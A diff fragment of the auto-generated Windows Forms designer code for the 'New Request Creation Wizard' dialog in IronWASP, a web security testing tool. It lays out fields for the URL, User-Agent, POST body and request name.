= false; - this.UserAgentTree.Location = new System.Drawing.Point(167, 32); - this.UserAgentTree.Name = "UserAgentTree"; - this.UserAgentTree.ShowRootLines = false; - this.UserAgentTree.Size = new System.Drawing.Size(594, 138); - this.UserAgentTree.TabIndex = 14; - this.UserAgentTree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.UserAgentTree_AfterSelect); - // - // UseUserAgentCB - // - this.UseUserAgentCB.AutoSize = true; - this.UseUserAgentCB.Location = new System.Drawing.Point(7, 9); - this.UseUserAgentCB.Name = "UseUserAgentCB"; - this.UseUserAgentCB.Size = new System.Drawing.Size(192, 17); - this.UseUserAgentCB.TabIndex = 13; - this.UseUserAgentCB.Text = "Use an User-Agent for the Request"; - this.UseUserAgentCB.UseVisualStyleBackColor = true; - this.UseUserAgentCB.CheckedChanged += new System.EventHandler(this.UseUserAgentCB_CheckedChanged); - // - // UseAdditionalHeadersCB - // - this.UseAdditionalHeadersCB.AutoSize = true; - this.UseAdditionalHeadersCB.Location = new System.Drawing.Point(9, 210); - this.UseAdditionalHeadersCB.Name = "UseAdditionalHeadersCB"; - this.UseAdditionalHeadersCB.Size = new System.Drawing.Size(368, 17); - this.UseAdditionalHeadersCB.TabIndex = 12; - this.UseAdditionalHeadersCB.Text = "Add headers like \'Accept-Encoding\', \'Accept-Charset\' etc to the Request"; - this.UseAdditionalHeadersCB.UseVisualStyleBackColor = true; - // - // PostBodyTB - // - this.PostBodyTB.Enabled = false; - this.PostBodyTB.Location = new System.Drawing.Point(216, 235); - this.PostBodyTB.Multiline = true; - this.PostBodyTB.Name = "PostBodyTB"; - this.PostBodyTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.PostBodyTB.Size = new System.Drawing.Size(545, 44); - this.PostBodyTB.TabIndex = 7; - // - // UsePostBodyCB - // - this.UsePostBodyCB.AutoSize = true; - this.UsePostBodyCB.Location = new System.Drawing.Point(9, 235); - this.UsePostBodyCB.Name = "UsePostBodyCB"; - this.UsePostBodyCB.Size = new System.Drawing.Size(206, 17); - this.UsePostBodyCB.TabIndex = 6; - this.UsePostBodyCB.Text = "Include a POST body with the request"; - this.UsePostBodyCB.UseVisualStyleBackColor = true; - this.UsePostBodyCB.CheckedChanged += new System.EventHandler(this.UsePostBodyCB_CheckedChanged); - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(117, 257); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(93, 13); - this.label2.TabIndex = 8; - this.label2.Text = "Enter POST body:"; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(15, 60); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(60, 13); - this.label1.TabIndex = 5; - this.label1.Text = "Enter URL:"; - // - // textBox2 - // - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox2.Location = new System.Drawing.Point(5, 5); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(766, 40); - this.textBox2.TabIndex = 4; - this.textBox2.TabStop = false; - this.textBox2.Text = resources.GetString("textBox2.Text"); - // - // RequestUrlTB - // - this.RequestUrlTB.Location = new System.Drawing.Point(76, 51); - this.RequestUrlTB.Name = "RequestUrlTB"; - this.RequestUrlTB.Size = new System.Drawing.Size(692, 20); - this.RequestUrlTB.TabIndex = 2; - // - // Step0NextBtn - // - this.Step0NextBtn.Location = new System.Drawing.Point(674, 453); - this.Step0NextBtn.Name = "Step0NextBtn"; - this.Step0NextBtn.Size = new System.Drawing.Size(94, 23); - this.Step0NextBtn.TabIndex = 1; - this.Step0NextBtn.Text = "Next Step ->"; - this.Step0NextBtn.UseVisualStyleBackColor = true; - this.Step0NextBtn.Click += new System.EventHandler(this.Step0NextBtn_Click); - // - // CancelBtn - // - this.CancelBtn.Location = new System.Drawing.Point(8, 453); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(94, 23); - this.CancelBtn.TabIndex = 0; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // NameRequestTab - // - this.NameRequestTab.Controls.Add(this.Step1StatusTB); - this.NameRequestTab.Controls.Add(this.Step1PreviousStepBtn); - this.NameRequestTab.Controls.Add(this.label7); - this.NameRequestTab.Controls.Add(this.label6); - this.NameRequestTab.Controls.Add(this.RequestNameTB); - this.NameRequestTab.Controls.Add(this.textBox4); - this.NameRequestTab.Controls.Add(this.CreateRequestBtn); - this.NameRequestTab.Location = new System.Drawing.Point(4, 25); - this.NameRequestTab.Margin = new System.Windows.Forms.Padding(0); - this.NameRequestTab.Name = "NameRequestTab"; - this.NameRequestTab.Padding = new System.Windows.Forms.Padding(5); - this.NameRequestTab.Size = new System.Drawing.Size(776, 483); - this.NameRequestTab.TabIndex = 1; - this.NameRequestTab.Text = " Name Request "; - this.NameRequestTab.UseVisualStyleBackColor = true; - // - // Step1StatusTB - // - this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1StatusTB.Location = new System.Drawing.Point(27, 158); - this.Step1StatusTB.Multiline = true; - this.Step1StatusTB.Name = "Step1StatusTB"; - this.Step1StatusTB.Size = new System.Drawing.Size(550, 29); - this.Step1StatusTB.TabIndex = 15; - this.Step1StatusTB.TabStop = false; - this.Step1StatusTB.Visible = false; - // - // Step1PreviousStepBtn - // - this.Step1PreviousStepBtn.Location = new System.Drawing.Point(8, 452); - this.Step1PreviousStepBtn.Name = "Step1PreviousStepBtn"; - this.Step1PreviousStepBtn.Size = new System.Drawing.Size(110, 23); - this.Step1PreviousStepBtn.TabIndex = 9; - this.Step1PreviousStepBtn.Text = "<- Previous Step"; - this.Step1PreviousStepBtn.UseVisualStyleBackColor = true; - this.Step1PreviousStepBtn.Click += new System.EventHandler(this.Step1PreviousStepBtn_Click); - // - // label7 - // - this.label7.AutoSize = true; - this.label7.Location = new System.Drawing.Point(339, 121); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(227, 13); - this.label7.TabIndex = 8; - this.label7.Text = "( if left blank a name is automatically assigned )"; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(24, 121); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(99, 13); - this.label6.TabIndex = 7; - this.label6.Text = "Name the Request:"; - // - // RequestNameTB - // - this.RequestNameTB.Location = new System.Drawing.Point(128, 113); - this.RequestNameTB.Name = "RequestNameTB"; - this.RequestNameTB.Size = new System.Drawing.Size(197, 20); - this.RequestNameTB.TabIndex = 6; - // - // textBox4 - // - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox4.Location = new System.Drawing.Point(5, 5); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(766, 77); - this.textBox4.TabIndex = 5; - this.textBox4.TabStop = false; - this.textBox4.Text = resources.GetString("textBox4.Text"); - // - // CreateRequestBtn - // - this.CreateRequestBtn.Location = new System.Drawing.Point(588, 104); - this.CreateRequestBtn.Name = "CreateRequestBtn"; - this.CreateRequestBtn.Size = new System.Drawing.Size(166, 36); - this.CreateRequestBtn.TabIndex = 0; - this.CreateRequestBtn.Text = "Create Request"; - this.CreateRequestBtn.UseVisualStyleBackColor = true; - this.CreateRequestBtn.Click += new System.EventHandler(this.CreateRequestBtn_Click); - // - // CreateNewRequestWizard - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(784, 512); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "CreateNewRequestWizard"; - this.Text = "New Request Creation Wizard"; - this.Load += new System.EventHandler(this.CreateNewRequestWizard_Load); - this.BaseTabs.ResumeLayout(false); - this.CreateRequestTab.ResumeLayout(false); - this.CreateRequestTab.PerformLayout(); - this.panel1.ResumeLayout(false); - this.panel1.PerformLayout(); - this.NameRequestTab.ResumeLayout(false); - this.NameRequestTab.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage CreateRequestTab; - private System.Windows.Forms.TabPage NameRequestTab; - private System.Windows.Forms.Button Step0NextBtn; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.TextBox RequestUrlTB; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox PostBodyTB; - private System.Windows.Forms.CheckBox UsePostBodyCB; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Panel panel1; - private System.Windows.Forms.CheckBox UseAdditionalHeadersCB; - private System.Windows.Forms.CheckBox UseUserAgentCB; - private System.Windows.Forms.TreeView UserAgentTree; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label SelectedUserAgentLbl; - private System.Windows.Forms.Button CreateRequestBtn; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox RequestNameTB; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label30; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.Button Step1PreviousStepBtn; - internal System.Windows.Forms.TextBox Step1StatusTB; - private System.Windows.Forms.Label FromClipBoardLbl; - private System.Windows.Forms.LinkLabel FromClipboardLL; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.ComboBox PostBodyTypeCombo; - - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class CreateNewRequestWizard + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CreateNewRequestWizard)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.CreateRequestTab = new System.Windows.Forms.TabPage(); + this.FromClipboardLL = new System.Windows.Forms.LinkLabel(); + this.FromClipBoardLbl = new System.Windows.Forms.Label(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.label30 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.panel1 = new System.Windows.Forms.Panel(); + this.PostBodyTypeCombo = new System.Windows.Forms.ComboBox(); + this.label8 = new System.Windows.Forms.Label(); + this.SelectedUserAgentLbl = new System.Windows.Forms.Label(); + this.label5 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.UserAgentTree = new System.Windows.Forms.TreeView(); + this.UseUserAgentCB = new System.Windows.Forms.CheckBox(); + this.UseAdditionalHeadersCB = new System.Windows.Forms.CheckBox(); + this.PostBodyTB = new System.Windows.Forms.TextBox(); + this.UsePostBodyCB = new System.Windows.Forms.CheckBox(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.RequestUrlTB = new System.Windows.Forms.TextBox(); + this.Step0NextBtn = new System.Windows.Forms.Button(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.NameRequestTab = new System.Windows.Forms.TabPage(); + this.Step1StatusTB = new System.Windows.Forms.TextBox(); + this.Step1PreviousStepBtn = new System.Windows.Forms.Button(); + this.label7 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.RequestNameTB = new System.Windows.Forms.TextBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.CreateRequestBtn = new System.Windows.Forms.Button(); + this.BaseTabs.SuspendLayout(); + this.CreateRequestTab.SuspendLayout(); + this.panel1.SuspendLayout(); + this.NameRequestTab.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.CreateRequestTab); + this.BaseTabs.Controls.Add(this.NameRequestTab); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(784, 512); + this.BaseTabs.TabIndex = 1; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // CreateRequestTab + // + this.CreateRequestTab.Controls.Add(this.FromClipboardLL); + this.CreateRequestTab.Controls.Add(this.FromClipBoardLbl); + this.CreateRequestTab.Controls.Add(this.Step0StatusTB); + this.CreateRequestTab.Controls.Add(this.label30); + this.CreateRequestTab.Controls.Add(this.label3); + this.CreateRequestTab.Controls.Add(this.panel1); + this.CreateRequestTab.Controls.Add(this.label1); + this.CreateRequestTab.Controls.Add(this.textBox2); + this.CreateRequestTab.Controls.Add(this.RequestUrlTB); + this.CreateRequestTab.Controls.Add(this.Step0NextBtn); + this.CreateRequestTab.Controls.Add(this.CancelBtn); + this.CreateRequestTab.Location = new System.Drawing.Point(4, 25); + this.CreateRequestTab.Margin = new System.Windows.Forms.Padding(0); + this.CreateRequestTab.Name = "CreateRequestTab"; + this.CreateRequestTab.Padding = new System.Windows.Forms.Padding(5); + this.CreateRequestTab.Size = new System.Drawing.Size(776, 483); + this.CreateRequestTab.TabIndex = 0; + this.CreateRequestTab.Text = " Create Request "; + this.CreateRequestTab.UseVisualStyleBackColor = true; + // + // FromClipboardLL + // + this.FromClipboardLL.AutoSize = true; + this.FromClipboardLL.Location = new System.Drawing.Point(734, 101); + this.FromClipboardLL.Name = "FromClipboardLL"; + this.FromClipboardLL.Size = new System.Drawing.Size(25, 13); + this.FromClipboardLL.TabIndex = 17; + this.FromClipboardLL.TabStop = true; + this.FromClipboardLL.Text = "Yes"; + this.FromClipboardLL.Visible = false; + this.FromClipboardLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.FromClipboardLL_LinkClicked); + // + // FromClipBoardLbl + // + this.FromClipBoardLbl.AutoSize = true; + this.FromClipBoardLbl.ForeColor = System.Drawing.Color.OrangeRed; + this.FromClipBoardLbl.Location = new System.Drawing.Point(199, 101); + this.FromClipBoardLbl.Name = "FromClipBoardLbl"; + this.FromClipBoardLbl.Size = new System.Drawing.Size(530, 13); + this.FromClipBoardLbl.TabIndex = 16; + this.FromClipBoardLbl.Text = "IMP: IronWASP has detected that you have copied an HTTP Request. Do you want to u" + + "se this Request here?"; + this.FromClipBoardLbl.Visible = false; + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.Location = new System.Drawing.Point(113, 446); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(550, 29); + this.Step0StatusTB.TabIndex = 14; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // label30 + // + this.label30.AutoSize = true; + this.label30.ForeColor = System.Drawing.Color.Blue; + this.label30.Location = new System.Drawing.Point(15, 79); + this.label30.Name = "label30"; + this.label30.Size = new System.Drawing.Size(211, 13); + this.label30.TabIndex = 13; + this.label30.Text = "NOTE: Url must start with http:// or https://"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location = new System.Drawing.Point(10, 111); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(108, 13); + this.label3.TabIndex = 10; + this.label3.Text = "Optional Settings:"; + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.SeaShell; + this.panel1.Controls.Add(this.PostBodyTypeCombo); + this.panel1.Controls.Add(this.label8); + this.panel1.Controls.Add(this.SelectedUserAgentLbl); + this.panel1.Controls.Add(this.label5); + this.panel1.Controls.Add(this.label4); + this.panel1.Controls.Add(this.UserAgentTree); + this.panel1.Controls.Add(this.UseUserAgentCB); + this.panel1.Controls.Add(this.UseAdditionalHeadersCB); + this.panel1.Controls.Add(this.PostBodyTB); + this.panel1.Controls.Add(this.UsePostBodyCB); + this.panel1.Controls.Add(this.label2); + this.panel1.Location = new System.Drawing.Point(3, 122); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(770, 313); + this.panel1.TabIndex = 10; + // + // PostBodyTypeCombo + // + this.PostBodyTypeCombo.Enabled = false; + this.PostBodyTypeCombo.FormattingEnabled = true; + this.PostBodyTypeCombo.Items.AddRange(new object[] { + "application/x-www-form-urlencoded", + "application/json", + "application/xml"}); + this.PostBodyTypeCombo.Location = new System.Drawing.Point(386, 286); + this.PostBodyTypeCombo.Name = "PostBodyTypeCombo"; + this.PostBodyTypeCombo.Size = new System.Drawing.Size(374, 21); + this.PostBodyTypeCombo.TabIndex = 19; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(215, 291); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(174, 13); + this.label8.TabIndex = 18; + this.label8.Text = "Select Content-Type Header value:"; + // + // SelectedUserAgentLbl + // + this.SelectedUserAgentLbl.AutoSize = true; + this.SelectedUserAgentLbl.Location = new System.Drawing.Point(159, 178); + this.SelectedUserAgentLbl.Name = "SelectedUserAgentLbl"; + this.SelectedUserAgentLbl.Size = new System.Drawing.Size(181, 13); + this.SelectedUserAgentLbl.TabIndex = 17; + this.SelectedUserAgentLbl.Text = " "; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(21, 178); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(138, 13); + this.label5.TabIndex = 16; + this.label5.Text = "Selected User-Agent Value:"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(27, 86); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(134, 13); + this.label4.TabIndex = 15; + this.label4.Text = "Select User-Agent from list:"; + // + // UserAgentTree + // + this.UserAgentTree.Enabled = false; + this.UserAgentTree.Location = new System.Drawing.Point(167, 32); + this.UserAgentTree.Name = "UserAgentTree"; + this.UserAgentTree.ShowRootLines = false; + this.UserAgentTree.Size = new System.Drawing.Size(594, 138); + this.UserAgentTree.TabIndex = 14; + this.UserAgentTree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.UserAgentTree_AfterSelect); + // + // UseUserAgentCB + // + this.UseUserAgentCB.AutoSize = true; + this.UseUserAgentCB.Location = new System.Drawing.Point(7, 9); + this.UseUserAgentCB.Name = "UseUserAgentCB"; + this.UseUserAgentCB.Size = new System.Drawing.Size(192, 17); + this.UseUserAgentCB.TabIndex = 13; + this.UseUserAgentCB.Text = "Use an User-Agent for the Request"; + this.UseUserAgentCB.UseVisualStyleBackColor = true; + this.UseUserAgentCB.CheckedChanged += new System.EventHandler(this.UseUserAgentCB_CheckedChanged); + // + // UseAdditionalHeadersCB + // + this.UseAdditionalHeadersCB.AutoSize = true; + this.UseAdditionalHeadersCB.Location = new System.Drawing.Point(9, 210); + this.UseAdditionalHeadersCB.Name = "UseAdditionalHeadersCB"; + this.UseAdditionalHeadersCB.Size = new System.Drawing.Size(368, 17); + this.UseAdditionalHeadersCB.TabIndex = 12; + this.UseAdditionalHeadersCB.Text = "Add headers like \'Accept-Encoding\', \'Accept-Charset\' etc to the Request"; + this.UseAdditionalHeadersCB.UseVisualStyleBackColor = true; + // + // PostBodyTB + // + this.PostBodyTB.Enabled = false; + this.PostBodyTB.Location = new System.Drawing.Point(216, 235); + this.PostBodyTB.Multiline = true; + this.PostBodyTB.Name = "PostBodyTB"; + this.PostBodyTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.PostBodyTB.Size = new System.Drawing.Size(545, 44); + this.PostBodyTB.TabIndex = 7; + // + // UsePostBodyCB + // + this.UsePostBodyCB.AutoSize = true; + this.UsePostBodyCB.Location = new System.Drawing.Point(9, 235); + this.UsePostBodyCB.Name = "UsePostBodyCB"; + this.UsePostBodyCB.Size = new System.Drawing.Size(206, 17); + this.UsePostBodyCB.TabIndex = 6; + this.UsePostBodyCB.Text = "Include a POST body with the request"; + this.UsePostBodyCB.UseVisualStyleBackColor = true; + this.UsePostBodyCB.CheckedChanged += new System.EventHandler(this.UsePostBodyCB_CheckedChanged); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(117, 257); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(93, 13); + this.label2.TabIndex = 8; + this.label2.Text = "Enter POST body:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(15, 60); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(60, 13); + this.label1.TabIndex = 5; + this.label1.Text = "Enter URL:"; + // + // textBox2 + // + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox2.Location = new System.Drawing.Point(5, 5); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(766, 40); + this.textBox2.TabIndex = 4; + this.textBox2.TabStop = false; + this.textBox2.Text = resources.GetString("textBox2.Text"); + // + // RequestUrlTB + // + this.RequestUrlTB.Location = new System.Drawing.Point(76, 51); + this.RequestUrlTB.Name = "RequestUrlTB"; + this.RequestUrlTB.Size = new System.Drawing.Size(692, 20); + this.RequestUrlTB.TabIndex = 2; + // + // Step0NextBtn + // + this.Step0NextBtn.Location = new System.Drawing.Point(674, 453); + this.Step0NextBtn.Name = "Step0NextBtn"; + this.Step0NextBtn.Size = new System.Drawing.Size(94, 23); + this.Step0NextBtn.TabIndex = 1; + this.Step0NextBtn.Text = "Next Step ->"; + this.Step0NextBtn.UseVisualStyleBackColor = true; + this.Step0NextBtn.Click += new System.EventHandler(this.Step0NextBtn_Click); + // + // CancelBtn + // + this.CancelBtn.Location = new System.Drawing.Point(8, 453); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(94, 23); + this.CancelBtn.TabIndex = 0; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // NameRequestTab + // + this.NameRequestTab.Controls.Add(this.Step1StatusTB); + this.NameRequestTab.Controls.Add(this.Step1PreviousStepBtn); + this.NameRequestTab.Controls.Add(this.label7); + this.NameRequestTab.Controls.Add(this.label6); + this.NameRequestTab.Controls.Add(this.RequestNameTB); + this.NameRequestTab.Controls.Add(this.textBox4); + this.NameRequestTab.Controls.Add(this.CreateRequestBtn); + this.NameRequestTab.Location = new System.Drawing.Point(4, 25); + this.NameRequestTab.Margin = new System.Windows.Forms.Padding(0); + this.NameRequestTab.Name = "NameRequestTab"; + this.NameRequestTab.Padding = new System.Windows.Forms.Padding(5); + this.NameRequestTab.Size = new System.Drawing.Size(776, 483); + this.NameRequestTab.TabIndex = 1; + this.NameRequestTab.Text = " Name Request "; + this.NameRequestTab.UseVisualStyleBackColor = true; + // + // Step1StatusTB + // + this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1StatusTB.Location = new System.Drawing.Point(27, 158); + this.Step1StatusTB.Multiline = true; + this.Step1StatusTB.Name = "Step1StatusTB"; + this.Step1StatusTB.Size = new System.Drawing.Size(550, 29); + this.Step1StatusTB.TabIndex = 15; + this.Step1StatusTB.TabStop = false; + this.Step1StatusTB.Visible = false; + // + // Step1PreviousStepBtn + // + this.Step1PreviousStepBtn.Location = new System.Drawing.Point(8, 452); + this.Step1PreviousStepBtn.Name = "Step1PreviousStepBtn"; + this.Step1PreviousStepBtn.Size = new System.Drawing.Size(110, 23); + this.Step1PreviousStepBtn.TabIndex = 9; + this.Step1PreviousStepBtn.Text = "<- Previous Step"; + this.Step1PreviousStepBtn.UseVisualStyleBackColor = true; + this.Step1PreviousStepBtn.Click += new System.EventHandler(this.Step1PreviousStepBtn_Click); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(339, 121); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(227, 13); + this.label7.TabIndex = 8; + this.label7.Text = "( if left blank a name is automatically assigned )"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(24, 121); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(99, 13); + this.label6.TabIndex = 7; + this.label6.Text = "Name the Request:"; + // + // RequestNameTB + // + this.RequestNameTB.Location = new System.Drawing.Point(128, 113); + this.RequestNameTB.Name = "RequestNameTB"; + this.RequestNameTB.Size = new System.Drawing.Size(197, 20); + this.RequestNameTB.TabIndex = 6; + // + // textBox4 + // + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox4.Location = new System.Drawing.Point(5, 5); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(766, 77); + this.textBox4.TabIndex = 5; + this.textBox4.TabStop = false; + this.textBox4.Text = resources.GetString("textBox4.Text"); + // + // CreateRequestBtn + // + this.CreateRequestBtn.Location = new System.Drawing.Point(588, 104); + this.CreateRequestBtn.Name = "CreateRequestBtn"; + this.CreateRequestBtn.Size = new System.Drawing.Size(166, 36); + this.CreateRequestBtn.TabIndex = 0; + this.CreateRequestBtn.Text = "Create Request"; + this.CreateRequestBtn.UseVisualStyleBackColor = true; + this.CreateRequestBtn.Click += new System.EventHandler(this.CreateRequestBtn_Click); + // + // CreateNewRequestWizard + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(784, 512); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "CreateNewRequestWizard"; + this.Text = "New Request Creation Wizard"; + this.Load += new System.EventHandler(this.CreateNewRequestWizard_Load); + this.BaseTabs.ResumeLayout(false); + this.CreateRequestTab.ResumeLayout(false); + this.CreateRequestTab.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.NameRequestTab.ResumeLayout(false); + this.NameRequestTab.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage CreateRequestTab; + private System.Windows.Forms.TabPage NameRequestTab; + private System.Windows.Forms.Button Step0NextBtn; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.TextBox RequestUrlTB; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox PostBodyTB; + private System.Windows.Forms.CheckBox UsePostBodyCB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.CheckBox UseAdditionalHeadersCB; + private System.Windows.Forms.CheckBox UseUserAgentCB; + private System.Windows.Forms.TreeView UserAgentTree; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label SelectedUserAgentLbl; + private System.Windows.Forms.Button CreateRequestBtn; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox RequestNameTB; + private System.Windows.Forms.TextBox textBox4; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label30; + internal System.Windows.Forms.TextBox Step0StatusTB; + private 